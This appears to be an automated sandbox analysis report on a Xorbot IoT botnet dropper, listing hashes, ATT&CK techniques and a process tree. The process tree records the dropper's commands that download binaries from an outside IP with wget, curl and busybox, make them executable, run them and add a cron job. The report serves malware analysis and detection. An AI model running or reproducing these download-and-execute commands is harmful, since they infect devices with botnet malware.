xorbot | ab9cf57b69b0f3988a832c77e08ee2799b5e1623bf927cc77f48879aae9fc01e

Analysis

max time kernel
150s
max time network
103s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
04-12-2024 00:46

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General

Target

bins.sh
Size

10KB
MD5

f05da6a5f1c558bd14134bace343c53b
SHA1

802bad5f79db08727638201f735df65f813a3d71
SHA256

ab9cf57b69b0f3988a832c77e08ee2799b5e1623bf927cc77f48879aae9fc01e
SHA512

131f0a3d6c279ba5c6bfc52032768bd4e67ac9c6852f05de87e97b8028c2c02467e4d78b9afbbc2c859779007ec3d3f2b14df504c6f378785a27666b65126817
SSDEEP

192:IF6LkGoyxtdO2TFTFhjxDYQ4E8N9tquGiRN9tquEhjxDYQ7FvFTvTxtdO2V:I8LkGoyxtdO2TFTFhjxDYQ4E8N9tquGv

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral3/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmod

pid	Process
752	chmod
776	chmod
745	chmod

Executes dropped EXE 3 IoCs

Processes:

wda1xE9KvGzOQxgwPMl8w9FT1QoziL09BgYPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q

ioc	pid	Process
/tmp/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg	746	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
/tmp/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2	753	YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2
/tmp/PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q	777	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q

Renames itself 1 IoCs

Processes:

PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q

pid	Process
778	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.zrkqFg	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95qcurlcrontabcrontab

description	ioc	Process
File opened for reading	/proc/1/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/81/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/722/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/798/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/841/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/75/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/355/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/783/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/827/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/69/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/112/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/508/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/840/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/849/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/812/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/825/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/843/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/6/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/8/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/14/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/480/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/822/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/785/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/790/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/809/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/831/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/77/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/793/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/805/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/835/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/4/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/801/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/844/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/850/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/15/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/709/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/786/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/792/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/796/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/21/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/113/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/788/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/791/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/826/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/20/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/322/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/510/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/787/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/800/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/817/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/819/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/2/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/5/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/37/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/72/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/325/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/380/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/837/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/235/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/18/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
File opened for reading	/proc/104/cmdline	PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusyboxcurlcurlwgetbusyboxwgetbusybox

description	ioc	Process
File opened for modification	/tmp/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg	wget
File opened for modification	/tmp/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg	curl
File opened for modification	/tmp/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg	busybox
File opened for modification	/tmp/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2	curl
File opened for modification	/tmp/PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q	curl
File opened for modification	/tmp/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2	wget
File opened for modification	/tmp/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2	busybox
File opened for modification	/tmp/PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q	wget
File opened for modification	/tmp/PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:712
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:715
- /usr/bin/wget
  wget http://216.126.231.240/bins/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
  2⤵
  - Writes file to tmp directory
  PID:721
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
  2⤵
  - Writes file to tmp directory
  PID:736
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
  2⤵
  - Writes file to tmp directory
  PID:743
- /bin/chmod
  chmod 777 wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
  ./wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
  2⤵
  - Executes dropped EXE
  PID:746
- /bin/rm
  rm wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
  2⤵
  PID:748
- /usr/bin/wget
  wget http://216.126.231.240/bins/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2
  2⤵
  - Writes file to tmp directory
  PID:749
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:750
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2
  2⤵
  - Writes file to tmp directory
  PID:751
- /bin/chmod
  chmod 777 YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2
  ./YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2
  2⤵
  - Executes dropped EXE
  PID:753
- /bin/rm
  rm YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2
  2⤵
  PID:755
- /usr/bin/wget
  wget http://216.126.231.240/bins/PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
  2⤵
  - Writes file to tmp directory
  PID:756
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
  2⤵
  - Writes file to tmp directory
  PID:757
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
  2⤵
  - Writes file to tmp directory
  PID:771
- /bin/chmod
  chmod 777 PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
  ./PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:777
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:779
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:780
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:782
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:784
- /bin/rm
  rm PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
  2⤵
  PID:786
- /usr/bin/wget
  wget http://216.126.231.240/bins/CkQXPFvvPpDILNHrpFVGPK94egg2DaNMj2
  2⤵
  PID:791
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/CkQXPFvvPpDILNHrpFVGPK94egg2DaNMj2
  2⤵
  PID:792

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/var/spool/cron/crontabs/tmp.zrkqFg

Filesize
210B

MD5
e2893c0fa7f6e066c92121e31b4af58d

SHA1
a8e8106e9167946e2806b28b2bc6def415fcd2ab

SHA256
ec0d6c2ea0c083284b67a7500bb56a03a64a6bb56502d71c635a994d86eab5ab

SHA512
a0d85b76d76d902adadfc4ba56f1e1726f2f00ebdffa2a6e7e9f66086be0e3dc4c12a1656cfe2f6e41c991cf0968f46f56e43e2b48e6ce38a958f72a73b7988b

Download Submit